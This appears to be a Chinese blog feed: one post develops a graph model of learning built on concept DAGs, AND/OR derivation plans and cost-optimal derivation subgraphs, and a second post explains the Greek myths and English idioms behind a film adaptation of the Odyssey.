在这个版本中，Course 拥有 Chapter，Chapter 拥有一个线性的 problem_chain，Concept 则是另一种独立对象。教程知识和用户自己的 Wiki 甚至使用两套模型。

v0 解决的是“系统里有什么”，却没有回答“这些东西为什么以这种方式连接”。概念与章节是什么关系、问题怎样推进概念、不同知识之间如何复用，都还是空白。

v1：从字段表进入分层对象

v1 开始为对象补充业务语义和生命周期。章节被定义为围绕目标概念形成过程的学习单元；概念被定义为对一类问题解决路径的封装；Prompt 也被区分为诊断、推进、纠偏、检验和总结等教学意图。

这一步让模型从“有什么字段”进入“对象是什么、如何流转”，但整体仍然是 Course → Chapter → Concept 的固定层级，学习过程仍被默认成章节内部的线性流程。

问题随之暴露出来：概念学习并没有唯一顺序。学习信号与系统时，欧拉公式只需要在第一次使用前掌握，并不天然属于某一章的固定位置。同时，Prompt 被分成过多类型，各类型边界模糊，因为我还没有回答 Prompt 的本质是什么。

v2：全局概念、章节子图与三类边

为了解决“概念是否属于章节”，v2 把 Concept 提升为全局实体：同一个概念可以被多个章节引用，Chapter 则被改写为整张教程图谱中的一个子图。problem_chain 也从列表变成了允许分支和跳转的图。

这一版第一次明确引入三类边：

requires：依赖关系，有向；
contains：包含关系，有向；
relates：相关关系，无向。

v2 的进步是终于开始用图表达知识，但三种边并不属于同一种语义：依赖、包含和相关无法用统一规则解释，也很难回答一条边究竟承载了什么教学内容。图虽然出现了，边的本质仍然没有被找到。

v3：Prompt 成为唯一的有向边

v3 的关键收敛是：概念之间真正值得存储的关系只有推导问题本身，Prompt 就是有向边。

一条边从 source concept 指向 target concept，表达“A 遇到了什么局限，为什么需要 B”。requires 不再作为独立边存储：如果存在从 A 到 B 的有向路径，就可以推导出 B 依赖 A；relates 同样可以由可达性投影出来。

Chapter 此时被定义为概念图中的连通子图，教程与用户 Wiki 也开始使用同一模型。这一步用“一种基础关系 + 图算法推导”取代了边类型枚举。

但新的问题也出现了：如果 Chapter 仍要保存一条显式教学路径，那么它和图本身给出的顺序是什么关系？既然已经有一张有向图，为什么还需要另一份容易冲突的 problem_chain？

v4：顺序完全由 DAG 推导

v4 删除了 Chapter 中显式保存的教学路径。概念的先后顺序不再由作者手写，而由 DAG 的拓扑序给出。只要一个概念所需的前置条件已经满足，它就可以被学习，不需要所有人走同一条线性目录。

无环也在这一版成为强制约束：环意味着循环论证。v4 只确定了依赖关系应当组成 DAG，并由拓扑序给出合法学习顺序；多条入边究竟是必须同时满足的前置条件，还是可以任选的不同推导，当时还没有被区分。直到 v5，我才通过推导方案补全这层语义：同一方案内是 AND，不同方案之间是 OR。

为了继续保留传统教学结构，v4 曾把 Chapter 定义成概念集合的划分：每个概念属于且仅属于一章，章节之间不重叠。但这恰好暴露了最后一个根本矛盾：如果一个章节可以被封装成一个节点，它本身就是概念；如果一个概念足够复杂，需要单独展开成教程，它又和章节没有区别。

Chapter 的“划分”只是人为施加的语义，并不是知识结构本身的要求。

v5：取消层级，万物皆概念

因此，我进一步演进出了上文我提出的模型。

不只优化学习路径

这个模型最初来自学习方式问题，但它真正描述的对象也许更一般：从已有状态出发，通过一系列需要付出成本并接受验证的推导，到达目标状态。只要一个领域能够被近似表示成这样的有向图，路径优化就可能有意义。

硬件设计是一个对路径长度尤其敏感的例子。假设我们把一次设计过程抽象成一张迭代 DAG：

节点是已经被明确提出并实现的设计概念，例如一种数据通路、缓存结构或时钟方案；
边是从当前设计到下一设计的工程推导，包括为什么要修改、修改了什么，以及预期解决什么约束；
验证结果是边成立的证据，包括功能仿真、时序分析、功耗评估，乃至上板和流片结果；
边权是完成实现、仿真、定位失败和返工所需的综合成本。

flowchart LR
A[已有设计] --> B[设计概念 v1]
B --> C[实现 RTL v1]
C --> D[仿真验证 v1]
D -->|满足约束| E[已验证设计 v1]
D -->|不满足约束| F[失败证据]
F --> H[修订设计概念 v2]
H --> I[实现 RTL v2]
I --> J[仿真验证 v2]
E --> G[目标设计]
J -->|满足约束| G

为了达到目标设计，每提出一个新的设计概念，通常都需要至少一次实现与仿真验证。路径越长，需要经历的迭代和验证通常越多，工程成本也越高。若一条设计路径为 $p$，可以先把它的成本粗略写成：

$$ C(p) = \sum_{e \in p} \left(C_{\mathrm{design}}(e) + C_{\mathrm{simulation}}(e) + C_{\mathrm{rework}}(e)\right) $$

此时，优化设计路径并不是跳过验证，而是寻找或构造更高价值的中间设计概念，让更少的有效迭代排除更大的设计空间。工程师或 Agent 可以优先选择信息增益更高、验证成本更低、通向目标约束概率更大的下一条边，并把每次仿真的结果反过来更新图和边权。

当然，真实硬件研发不总是一张预先已知的 DAG。目标可能变化，失败分支会大量出现，不同方案也可能并行收敛。因此更完整的模型可能是一张随验证结果动态生长的设计图，甚至需要概率图、决策过程或搜索树。但核心问题没有改变：不要只优化单次设计，而要优化从当前设计抵达目标设计的整条验证路径。

同样的抽象也可能进入软件架构、科学研究、药物筛选等领域。它们的共同点不是“都有概念”，而是中间步骤昂贵、每次推进都需要证据，并且路径选择会显著改变到达目标的总成本。

尚未解决的问题

这套模型并不是从零开始的猜想，它的若干组成部分已经在不同领域分别出现。已有研究不能证明本文提出的完整组合正确，也没有直接“认可”一篇尚未发表和验证的博客；但它们能够说明，这个方向与一些成熟理论相容，并为其中若干结构提供独立依据。

哪些部分已有理论依据

知识空间理论（Knowledge Space Theory）把一个领域表示为知识项目及其可行知识状态，并根据学习者当前状态进行自适应评估。它支持“学习者不是都从同一个固定起点出发”和“知识存在可计算的前置结构”这两个基本方向，但它的知识项目不等于本文携带定义的递归概念，也没有直接规定推导边应当怎样承载解释材料。

经典 AND/OR 图研究为本文的推导方案和最低成本有效推导子图提供了最直接的形式基础：AND 节点要求所有子问题共同解决，OR 节点从替代方案中选择，解不一定是一条路径，而可以是一张具有最低成本的解图。当所有方案都只含一个前置条件时，问题才退化为普通最短路径。因此，本文从“最短路径”转向“最低成本有效推导子图”，不是单纯创造了一套新说法，而是在知识建模场景中重新使用了已有的求解结构。不过，共享前置子图如何计费、路线规模扩大后如何求解，仍然不能直接套用最短路径算法。

Novak 和 Cañas 的概念图理论支持用概念节点和带明确语义的关系组织知识，也强调层级结构取决于当前试图回答的焦点问题。这为“概念之间的关系不能只是无意义连线”提供了依据，但概念图会区分概念和命题，也没有要求每个概念都能递归展开为同构 DAG。因此，“万物皆概念”仍然是本文自己的统一建模选择。

Merrill 的教学首要原理强调围绕真实问题组织学习，并经历激活已有知识、示范、应用和整合。它支持本文从已有概念出发、通过问题推进、最终回到实际应用的教学方向；但它是一套教学设计原则，不会自动推出本文的图数据结构。美国国家研究委员会关于深层学习与迁移的综述进一步把迁移视为深层学习的定义性特征。这意味着“能够重新推出定义”可以作为理解证据之一，却不足以单独证明模型达到了最终目标；学习者还应当能够把底层原理迁移到新的问题中。

所以，目前可以较强地获得外部支持的是：用有向结构表达前置关系、用 AND/OR 表达共同条件与替代方案、寻找最低成本解图，以及把解决真实问题和迁移作为最终检验。只有部分理论支持的是递归概念和带语义的关系。仍然缺乏直接依据的，则包括把全部教学材料只放在推导边上、任意子图的自动封装、理解倍率，以及“禁止递归交集”是否应当成为普遍约束。已有理论支持的是这些组成部分，而不是整套模型已经被证明。

子图封装怎样才能不改变语义

前文关于封装的示意图隐藏了一个关键问题：图论中的“把若干节点缩成一个节点”，不等于教学语义上的无损封装。普通边的可达性也许仍然存在，但 AND/OR 方案可能已经被改变。

上图中的目标必须由 $B$ 和 $C$ 共同推出：外部概念 $X$ 通过入口 $A$ 支持 $B$ 分支，$Z$ 通过入口 $C$ 支持另一条分支。如果折叠后只是机械地生成 $X \to P$ 和 $Z \to P$ 两条普通入边，并分别把它们当成单边方案，原来的 $X \land Z$ 就会被错误地改写成 $X \lor Z$。同理，一条从内部节点出发的边，也未必意味着只要“理解了父概念”就一定拥有使用这条出边所需的具体内部结论。

图的模块分解理论提供了一个严格但很强的参考条件：在通常的无向图定义中，如果一个节点集合是 module，那么每个外部节点要么连接它的全部节点，要么一个也不连接；模块内各节点从外部看来无法区分，因此可以被一个商图节点替代。对应到本文的有向推导图，还必须分别保持外部入邻接和出邻接的一致。本文希望封装的任意子 DAG 通常不满足这种一致邻接条件，所以不能直接声称它在图论意义上天然无损。

因此，上文已经把可封装对象限制为有根、方案完整、内部闭合、入口明确、单一出口且不与已有范围部分重叠的子 DAG，并要求父概念继续保存入口的 AND/OR 公式和内部成本语义。这些限制能够排除上面的直接反例，但它们目前仍然只是一组保守的候选充分条件，还需要一个更严格的语义保持定义来检验。

设被封装的子图为 $H$，折叠映射为 $\pi_H$。至少对于模型允许查询的外部已知集合 $S$ 和目标 $t$，封装前后应当保持可推导性：

$$ \mathcal{R}(G;S,t) \neq \varnothing \quad \Longleftrightarrow \quad \mathcal{R}(G/H;\pi_H(S),\pi_H(t)) \neq \varnothing $$

如果还声称封装不影响路径优化，就要进一步证明封装前后的最低成本如何对应。即使可推导性保持不变，边界公式在展开时是否产生指数级方案、共享前置在折叠后是否仍然只计费一次，也可能要求更强的限制。只有满足这些语义保持条件，边界关系才适合自动投影；否则，封装后的节点不能替代原子图参与严谨的路线计算。

这里仍然没有解决两个问题：上文九项限制是否真的足以保证这种等价，以及其中哪些只是方便定义边界的强约束而非必要条件。未来也许可以允许多个显式出口、多个父概念或更一般的接口公式，但每放宽一项，都必须重新证明它不会改变有效推导子图的集合与成本。

禁止递归交集换来了什么，又失去了什么

本文暂时要求同一知识体系中的递归分支只能完整包含或完全分离。若用 $A$、$B$ 表示两个概念所包含的后代集合，这条公理要求：

$$ A \cap B \in \lbrace \varnothing, A, B \rbrace $$

它使递归包含关系成为一种层状结构。这样做的收益很具体：每个概念拥有唯一位置和唯一父级链；展开、折叠、版本管理、缓存和权限边界更容易定义；封装时也不会出现同一个内部节点只被两个父概念各自包住一部分的情况。对于需要稳定编辑和计算的产品数据模型，这些都是真实的工程收益。

代价也同样明显。现实知识经常允许一个概念同时属于多个分类，或者让多个知识域共享同一段子结构。Stanford 的本体工程指南指出，多数知识表示系统允许一个类拥有多个父类；Novak 和 Cañas 则把不同知识域之间的 cross-links 视为理解关系、甚至产生创造性认识的重要结构。严格禁止交集会迫使建模者复制共享概念，或者把存在交集的分支拆到不同知识体系。前者可能带来身份、版本和证据同步问题，后者则可能把本来重要的跨域关系藏到体系边界之外。

这里必须区分递归包含与推导关系。即使继续要求包含结构彼此分离，不同分支之间也应当允许建立推导边；否则模型会失去描述跨领域迁移的能力。真正尚未决定的是：共享概念能否被多个父概念同时包含。如果坚持唯一父级，就应当把“层状包含 + 跨分支推导”明确为一项有意的工程取舍；如果允许多个父级，就需要把包含关系从层状结构放宽为 DAG，并重新解决节点身份、局部展开和子图封装的歧义。

因此，禁止递归交集不能被表述成知识本身的普遍规律。它更适合被视为当前模型为了换取可计算性和稳定边界而采用的公理，并通过真实知识体系的建模实践检验：它究竟消除了多少复杂度，又制造了多少重复和割裂。

还需要继续回答的问题

什么才是稳定、可判定的概念边界？“概念”与命题、任务、技能和证据之间是否需要更明确的区分？
如何判断一条新边或一套新方案是真正的推导，而不是省略了关键步骤？解释一组 AND 条件如何共同起作用的材料，是否还需要属于整套方案，而不只属于其中某一条边？
无环是否应当是所有知识关系的全局约束？面对互相定义、反馈系统和迭代理解时，应该重新划分概念，还是把强连通部分封装为一个更大的概念？
什么证据足以说明学习者不但能够重新推出定义，还能够把知识迁移到新问题并解决真实问题？
共享前置子图、个体边权和大量替代方案同时存在时，最低成本解图能否在可接受时间内算出？需要精确算法、启发式搜索，还是近似解？
如何处理学习后的遗忘、复习，以及概念在不同任务之间的迁移？

如果我们能够把概念、推导方案、验证证据和主体状态放进同一个可计算模型，那么“怎样更快地学习”，或者说，“怎样更快认知到目标概念”就不必永远停留在经验和方法论口号上。我们可以寻找现有的最低成本有效推导子图，也可以构造新的概念、边和方案，再用真实结果检验它是否真的降低了成本。

最后还有一件很有意思的事：如果把 v0 到 v5 的每一个版本都视为一个概念，那么这篇文章本身也在使用它所描述的理论组织我的认知。

v0 暴露“对象之间没有结构”的局限，于是推导出 v1；v1 暴露“固定层级和线性流程”的局限，于是推导出 v2。此后的每一次演进也都由一个明确问题引入，并由对这个问题的回答抵达下一个版本。每一版是节点，版本之间“问题 + 解答”的演进过程是边，整条建模史就是一张认知 DAG。

而写下这篇博客，又是在把这张图递归地封装成一个更大的概念。它既记录模型的结论，也记录结论如何从旧模型中生长出来；既在解释“万物皆概念”，又把自己作为这个理论的一个实例。

这也许才是“万物皆概念”最终有价值的地方：它不仅试图描述知识是什么，也试图描述认知如何演进，以及我们应该怎样以更低成本抵达下一个可验证的概念。

2026.8.19 修正：推导载荷属于 AND 组，而不是单条边

上文把问题引入、推导解答和理解材料都放在推导边上。在把这套模型整理成最终版本时，我发现这个归属在 AND 方案下并不成立。它不改变模型的主体结构，但改变了“推导的最小单元究竟是什么”，所以这里补一处修正。

问题出在 AND 方案。如果推出 $v$ 需要 $A$ 与 $B$ 共同成立，那么单独一条 $A \to v$ 并不足以证成 $v$；“旧概念遇到了什么局限、为什么需要 $v$”只有对整组前提才有意义。把它写在某一条边上，另一条边就会显得没有动机，或者被迫复述同一段话。

更严重的是边与方案是多对多的。若载荷挂在边上，一方面同一方案内各边必须给出同一个问题引入，另一方面同一条边又可能属于两套动机完全不同的方案，于是这两套方案也被迫共享同一个问题引入。把这两条约束的传递闭包展开，结论是：**只要两套方案共享一条边，它们就必须共用同一个“为什么”。**这显然不是知识的实际形态。

因此正确的归属是方案本身。问题引入、推导解答和理解材料都是定义在推导方案上的函数，而不是定义在边上的函数：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


Concept
├── definition # 这个概念最终应当能够被重新推导出的定义
├── children[] # 内部推导图引用的直接子概念
└── derivation_plans[] # 以本图内节点为目标的推导方案

DerivationPlan # AND 组：推导的最小单元，唯一的内容载体
├── target # 本方案要推出的目标概念
├── premises[] # 必须全部完成的前提概念（AND）
├── question # 旧概念遇到什么局限，为什么需要 target
├── answer # 由这组前提共同推出 target 的完整论证
└── materials[] # 完成这一步推导所需的材料

Derivation # 投影视图，由方案导出，不单独存储教学内容
├── source
├── target
└── plan_ref

这样一来，模型正好变成一张 AND/OR 超图：一套方案就是一条超边，前提集合是尾、目标是头；推导边退化为超边在有向图上的投影，只用来判断无环、给出拓扑序和可达性。回过头看，我在 v3 得到的那个结论——“Prompt 就是有向边”——只在每套方案都只有一个前提时才成立。

这处修正是保守的。单前提方案下方案与边一一对应，所以上文关于有效推导子图、无环性、拓扑序、递归展开约束和子图封装条件的结论全部不变，信号与系统案例中的 19 条边、5 条边、$\Delta C_0 = -14$ 和 $26%$ 也不变。

唯一的实质变化是成本口径：结构成本应当数的是需要完成的推导方案数，也就是推导步数，而不是边数。

$$ C_0(R) = |\operatorname{sel}(R)|, \qquad C_u^*(S,t) = \min_{R \in \mathcal{R}(S,t)} \sum_{P \in \operatorname{sel}(R)} w_u(P) $$

其中 $\operatorname{sel}(R)$ 是这张有效推导子图所选中的方案集合，$w_u(P)$ 是完成整套方案的成本；$|E_R|$ 退居为“前提总数”这个辅助指标。当所有方案都只有一个前提时，$|\operatorname{sel}(R)| = |E_R|$，两种口径重合。另外还有一个附带好处：$R$ 本身就是一组方案，不必再从边集合反推当初选了哪套方案。

这也顺带回答了上一节遗留问题中的一半：解释一组 AND 条件如何共同起作用的材料，确实属于整套方案，而不属于其中某一条边。剩下没有解决的是，方案成本 $w_u(P)$ 应该用什么可观测量来度量，以及封装前后方案成本如何对应。

最后，这处修正本身也是一条边：v5 暴露出“载荷归属与 AND 语义冲突”的局限，由此推导出 v5.1。按照本文的说法，它同样是一次“问题引入 + 解答”，并被记录进了那张仍在生长的认知 DAG。

电影《奥德赛》：解压一个西方文化的压缩包

Sun, 16 Aug 2026 02:50:50 +0800

看电影的时候，你是否不断遇到一些“我好像听说过，但又不知道”的东西：宙斯 Zeus、波吕斐摩斯 Polyphemus、波塞冬 Poseidon、瑟西 Circe、忘忧莲 Lotus、塞壬 Sirens、冥界 Hades、太阳神 Helios……

你是否会好奇这些总是记不住、容易混淆的人名，他们到底有怎样的故事，在文化中又象征了什么：奥德修斯 Odysseus、佩涅洛佩 Penelope、忒勒马科斯 Telemachus、欧迈俄斯 Eumaeus、阿尔戈斯 Argos、安提诺俄斯 Antinous、阿伽门农 Agamemnon、墨涅拉俄斯 Menelaus……

它们似乎只是电影里的角色和情节，但实际上，每一个名字背后都压缩了几千年的西方文化。

就像我们看到猴子和金箍，不需要解释就知道是孙悟空，当电影中出现独眼巨人，熟悉西方文化的观众也能联想到他是波塞冬的儿子波吕斐摩斯 Polyphemus。就像知道孙悟空要经历八十一难一样，他们也清楚奥德修斯 Odysseus 的队伍将在海上承受波塞冬的报复。

这篇文章并不打算做影评，网上的博主已经做了不少出色的解析，而是想做一次 西方文化.zip 的解包。

本文会完整讲述《奥德赛》原著，因此不可避免地包含原著剧透，但不会逐场复述电影。诺兰对人物、事件顺序和结局都做了重新编排，电影和原著并不能一一对照。这里主要补齐三类内容：电影省略或改写的重要原著情节、有意思却来不及在银幕上展开的细节，以及已经进入英语文化、电影默认观众知道的典故。

《奥德赛》的中文字幕不是双语，完全看不到英文。中文又不是表音文字，如果事先不知道原单词的发音和对应译名，观影时就很容易把一长串人名记混，更别说有些译名还选用了生僻字。有些中文翻译也很难同时保留原词背后的其他含义。

本人并没有系统学习过西方古典文化，只是出于对异国文化的兴趣，权当自己学习了解时的一次笔记。人物的“象征意义”也不是标准答案，我只记录那些在原著结构或后世英语文化中已经比较常见的理解；太生僻、太依赖某一种理论的解读就不强行附会了。如有错误或疏漏，希望评论补充！

原著故事大纲

特洛伊战争打了十年。战争结束后，Odysseus 又在归乡途中漂泊十年，历经食忘忧莲的人、独眼巨人、女神与女巫、塞壬、海怪、海难和冥界，最终才回到自己的岛国伊萨卡 Ithaca。

此时，王宫已经被一百多名求婚者占据。他们一边声称 Odysseus 已死，一边挥霍他的财产，逼迫妻子 Penelope 改嫁，并计划杀死已经长大的儿子 Telemachus。Odysseus 伪装成乞丐进入自己的家，在确认谁仍然忠诚之后与儿子相认，杀死求婚者，最终通过只有夫妻二人才知道的婚床秘密与 Penelope 相认，伊萨卡恢复秩序。

不过《奥德赛》并不是从特洛伊战争结束后按顺序讲起的。故事开头时，Odysseus 已经漂泊多年，被困在 Calypso 的岛上；前四卷先讲儿子 Telemachus，之后才让 Odysseus 登场。他过去经历的著名冒险，大多是他在法伊阿刻斯人宫廷里亲口讲出的回忆。

这种“直接从故事中间开始”的写法叫 in medias res。这个拉丁语文学术语虽然不是《奥德赛》发明的，却正是古罗马诗人贺拉斯用来赞扬荷马叙事方式的说法。今天的小说和电影仍然在大量使用它。

三个关键词

把下面三个概念记住，《奥德赛》里看起来互不相干的冒险就会突然连起来。

Nostos：回家

**Nostos（νόστος）**是“归返、回家”。《奥德赛》表面上是一连串怪物副本，真正的主线却始终只有一个：Odysseus 能不能回家，并重新成为丈夫、父亲和伊萨卡的国王。

英语里的 nostalgia 也是后来用希腊语词根拼出来的：nostos（回家）+ algos（痛苦），最初指的就是因无法回家而产生的乡愁。换句话说，《奥德赛》本身就是一部巨大的 nostalgia。

Xenia：待客之道

**Xenia（ξενία）**通常翻译成“宾客友谊”或“待客之道”。在陌生人随时可能是神明化身的世界里，主人应当先给旅人食物、住处和保护，再询问身份；客人也必须尊重主人，不可滥用招待。

这不是普通的礼貌，而是由 Zeus Xenios，也就是“保护宾客的宙斯”担保的神圣秩序。

整部《奥德赛》几乎可以看成一场超长待客测试：

法伊阿刻斯人接待陌生的 Odysseus，给他衣服、食物并送他回家，是正确答案；
贫穷的养猪人 Eumaeus 不知道乞丐是谁，仍然尽力招待，是正确答案；
Polyphemus 不但拒绝招待客人，反而把客人吃掉，是最恐怖的错误答案；
求婚者把自己当成客人，却长期霸占主人家、吃光主人财产，同样是对 xenia 的彻底颠倒。

所以他们最后遭到惩罚，不只是因为“人品坏”，而是因为他们破坏了人类社会得以运转的基本秩序。

Metis：聪明，但不是书本上的聪明

**Metis（μῆτις）**是一种带有计谋、应变、伪装和手艺的实践智慧。它不是知道多少知识，而是在力量不占优势时，仍能想办法解决问题。

Odysseus 用假名骗过独眼巨人、把自己绑在桅杆上听塞壬、伪装成乞丐回家，靠的都是 metis。Athena 既是智慧女神，也是这种聪明的神圣版本。Penelope 白天织布、晚上拆布，同样是在使用 metis。

这也是为什么 Odysseus 和 Penelope 最终能重新认出彼此：他们不只是一对等待团聚的夫妻，还是整部史诗中最会测试、伪装和设局的两个人。

神话/传说背景

特洛伊木马 Trojan Horse

特洛伊战争最后，希腊军队假装撤退，在海滩上留下一个巨大的木马。特洛伊人以为这是献给 Athena 的礼物，把木马拖进城内。夜里，藏在木马中的希腊士兵出来打开城门，已经乘船折返的军队涌入特洛伊，十年都没能攻破的城市从内部陷落。

电影完整拍出了木马和 Sinon 西农，但有一个容易混淆的地方：特洛伊木马并没有出现在《伊利亚特》的正文里。《伊利亚特》结束于战争末期、特洛伊城被攻破之前；《奥德赛》只通过人物回忆提到木马。电影中负责欺骗特洛伊人的 Sinon 甚至不是《奥德赛》人物，我们现在最熟悉的这套完整版本，主要来自维吉尔的《埃涅阿斯纪》。

英语中的 Trojan horse 因而变成“伪装成礼物或正常事物、实际从内部实施破坏的东西”。计算机中的 Trojan，也就是木马程序，正是从这里来的。英语里还有一句 Beware of Greeks bearing gifts，大意是“即使希腊人带着礼物来也要小心”，同样来自《埃涅阿斯纪》中的警告。

它的象征意义很稳定：最危险的攻击不一定来自城墙外，也可能被受害者亲手迎进内部。

Zeus 宙斯

Zeus 是众神之王，但在《奥德赛》中，他最重要的作用不是到处扔闪电，而是维护誓言、宾客关系和惩罚的正当性。

电影不断提到“Zeus’s law”，却没有让 Zeus 真正出场。原著一开场，Zeus 就用 Aegisthus 的死亡讨论一个问题：人类总说灾祸来自神，可许多灾祸其实是人在明知后果之后仍然自己造成的。Aegisthus 明明得到警告，还是勾引 Clytemnestra、杀死 Agamemnon，最终被 Agamemnon 的儿子 Orestes 复仇。

这个开场实际上给整部作品定了规则：神会警告，人仍然有选择；一旦越过边界，就要承担后果。Odysseus 的船员宰杀 Helios 的神牛如此，求婚者滥用 xenia 也是如此。

所以 Zeus 在这部作品中象征的不是单纯的力量，而是高于个人欲望的秩序、誓言和因果。

Athena 雅典娜，以及英语里的 mentor

Athena 是智慧、手工艺和战略战争女神，也是 Odysseus 一家最重要的保护者。电影更像把她拍成只有 Odysseus 能看见的良知，但原著中的 Athena 是实实在在介入事件的神。她请求 Zeus 放 Odysseus 回家，不断变换身份提供信息，改变 Odysseus 的外貌，安排父子相认，甚至在最后的战斗中亲自帮助他。

她欣赏 Odysseus，不只是因为他勇敢，而是因为两者都擅长 metis：他们都聪明、谨慎、会伪装，甚至重新见面时还要先互相说几轮假话。Athena 可以理解成 Odysseus 身上“策略智慧”的神格化。

英语里非常常见的 mentor 也来自《奥德赛》。Mentor 门托本来是 Odysseus 的老朋友，Odysseus 出征前把家托付给他；Athena 后来多次化身为 Mentor，引导年轻的 Telemachus。这个名字经法国作家费讷隆的《忒勒马科斯历险记》进一步普及，最后变成了英语中的普通名词：给经验较少者提供长期指导的人。

所以今天公司里说“找一个 mentor”，背后站着的其实还是伪装成人类、引导 Telemachus 成长的 Athena。

Poseidon 波塞冬

Poseidon 是海神，也是独眼巨人 Polyphemus 的父亲。Odysseus 刺瞎 Polyphemus 后，Polyphemus 请求父亲惩罚他：最好让他永远不能回家；如果命运规定他必须回去，也要让他失去同伴、坐别人的船，迟到而狼狈地抵达。

后面的故事基本就是这段诅咒逐项兑现。电影没有让 Poseidon 直接现身，但原著中阻拦归途的风浪有非常明确的意志和来源。

Athena 与 Poseidon 的对立也很有意思。Athena 代表城市、工艺、计划和可控制的智慧；Poseidon 代表海洋、地震、风暴和无法被人类计划完全驯服的自然力量。Odysseus 再聪明，也不能说服海浪，只能在海浪允许时活下来。

因此 Poseidon 在《奥德赛》中不只是一个记仇的反派。他象征的是人在回家路上无法通过聪明彻底消除的外部世界。

独眼巨人 Polyphemus 波吕斐摩斯，以及“无人”的梗

Polyphemus 是 Poseidon 的儿子，也是最著名的 Cyclops 独眼巨人。Odysseus 和同伴进入他的洞穴，本想获得主人按照 xenia 应当提供的招待和礼物，Polyphemus 却直接抓起他们吃掉。

电影保留了刺瞎巨人的行动，却删掉了原著中最出名的语言游戏。Polyphemus 问 Odysseus 叫什么，他回答：

我的名字是 Nobody / No one，也就是“无人”。

Odysseus 先用烈酒灌醉 Polyphemus，再和同伴用烧红的木桩刺瞎他的独眼。其他独眼巨人听见 Polyphemus 惨叫，便在洞外问是谁伤害了他。Polyphemus 只能回答：

Nobody is killing me!

“无人正在杀我！”

其他巨人一听，既然“无人”伤害你，那大概只是生病或遭了神罚，于是全部离开。Odysseus 靠把“没人”变成“一个叫无人的人”，让 Polyphemus 连求救都说不明白。

最后，Odysseus 把同伴绑在羊腹下，自己藏在最大公羊的羊毛里，从摸过每一只羊背的 Polyphemus 手下逃走。电影把这一段改成了披着灌木逃离，但原著的设计更完整：假名骗过语言，羊群骗过触觉，metis 在每一层都绕开了蛮力。

然而故事没有停在“聪明人战胜笨巨人”。Odysseus 已经安全上船之后，因为忍不住炫耀真正的姓名，反而让 Polyphemus 知道应该诅咒谁。Nobody 让他活下来，Odysseus 这个英雄之名却给他带来了十年的灾难。

所以 Polyphemus 一章同时象征两件事：没有法律与待客秩序的野蛮世界，以及英雄对自己名声的欲望。Odysseus 的聪明救了他，骄傲又立刻毁掉了聪明带来的成果。

Aeolus 埃俄罗斯与装着风的袋子

电影删掉了原著中非常有意思的一站。Aeolus 是掌管风的人，他热情招待 Odysseus，并把所有会阻碍归途的风装进一个皮袋，只留下能够把船吹向 Ithaca 的西风。

一切顺利到他们已经能看见故乡岸上的炊烟。Odysseus 连续掌舵多日，终于支撑不住睡着了。船员却以为他从 Aeolus 那里偷偷拿了一袋金银，不愿分给大家，于是擅自打开袋子。所有逆风一起冲出，把船从家门口重新吹回 Aeolus 的岛。

Aeolus 看见他们回来，认定一个被神如此憎恨的人不应该再得到帮助，直接把他们赶走。

这段情节甚至没有怪物。离家最近的一次失败，来自同伴之间的不信任、贪婪，以及 Odysseus 什么都自己扛却不肯解释。它象征一种可能比风暴更痛苦的失败：目标已经近在眼前，却被自己人亲手撤销。

英语中的 Aeolian harp 风弦琴也得名于 Aeolus：它不需要人弹奏，而是由风吹过琴弦自行发声。

Lotus-Eaters 食忘忧莲者

电影把 lotus 放到了 Calypso 手中，让 Odysseus 因此失忆。原著里这是发生在更早的一座岛上的独立故事。

Odysseus 的一部分船员吃下 Lotus-Eaters 提供的 lotus 之后，没有中毒，也没有发疯，只是突然不想回家了。他们愿意永远留在那里吃 lotus，把归途、责任和过去全部忘掉。Odysseus 只能把他们强行拖回船上并绑起来。

这里的 lotus 到底是哪一种现实植物没有定论，也不一定是我们今天说的荷花。重点从来不是植物学，而是它带来的遗忘。

英语里的 lotus-eater 指沉溺安逸、逃避现实、懒散度日或做白日梦的人；to eat lotus 也曾被用来表示遗忘、不再关心现实。丁尼生的诗《食忘忧果者》又进一步强化了这个意象。

如果说 Sirens 让人因为“还想知道更多”而停下，lotus 则让人因为“什么都不想再知道”而停下。两者方向相反，结果却一样：都让人忘记 nostos。

Calypso 卡吕普索

Calypso 是住在 Ogygia 奥吉吉亚岛上的女神或海中仙女。原著中，Odysseus 在海难后漂到她的岛上，被她强留七年。她爱 Odysseus，与他同床，甚至愿意给他永生和不老，条件是他永远留在这里。

这和电影中“Calypso 用 lotus 让他忘记过去，后来又主动放走他”区别很大。原著中的 Odysseus 没有失忆，他每天都记得自己是谁，坐在海边望着家的方向哭。直到 Athena 向 Zeus 求情、Hermes 奉命要求放人，Calypso 才不得不让他离开。

听起来像中了大奖，但 Odysseus 最终选择了会衰老、会死亡的 Penelope 和 Ithaca，而不是与女神共同获得永生。

Calypso 的名字通常被联系到希腊语 kalypto，也就是“遮蔽、隐藏”。她的岛正是这样一个地方：安全、富足、脱离时间，却也让 Odysseus 从人类世界中消失。

因此 Calypso 不只是“诱惑男人的美女”。她更像一种温柔得多的迷失：**如果一个地方能让你永远舒服，但代价是放弃自己的身份、关系和归处，那么这还是幸福吗？**她象征永生与人生、停滞与归返之间的选择。

Circe 瑟西

Circe 是住在 Aeaea 埃埃亚岛上的女巫或女神。原著中，她用食物和魔法把 Odysseus 的同伴变成猪，但这些人仍然保留着人的意识。

电影把 Odysseus 反制 Circe 的办法改成了威胁她变成乌鸦的姐妹。原著里，Hermes 在路上拦住 Odysseus，给他一种名为 moly 的神草，使他能够抵抗魔法。Odysseus 拔剑逼 Circe 立誓不再伤害自己、恢复同伴，后来两人成为情人，众人又在岛上住了整整一年。

Circe 很难被简单归类成怪物。她一开始危险，后来又成为主人和帮助者：告诉 Odysseus 必须先去寻访冥界中的 Tiresias，还详细警告他怎样通过 Sirens、Scylla、Charybdis 和 Helios 的神牛。

把人变成猪最直接的含义当然是让文明人的动物性显形，但 Circe 本人也象征变化和边界：人和动物、危险的陌生人和提供帮助的主人、耽搁归途的情人与指明归途的向导，都可以在她身上互相转换。

Sirens 塞壬

Sirens 最容易被中文语境误解成美人鱼。荷马其实没有具体描写她们的外貌，古希腊艺术更常把她们画成人首鸟身的女性；鱼尾形象是后来逐渐和别的海中女妖混合出来的。

她们的诱惑也不只是“歌声很好听”。Sirens 对 Odysseus 说，她们知道希腊人与特洛伊人经历的一切，也知道世上发生的一切。她们真正承诺的是知识：停下来听，就能知道更多；代价是再也不能离开。

Odysseus 既不愿放弃知识，也不愿死，于是让船员用蜡封住耳朵，把自己绑在桅杆上，并命令他们无论自己如何哀求都不能松绑。他因此成为听见 Sirens 歌声后仍然活着离开的人。

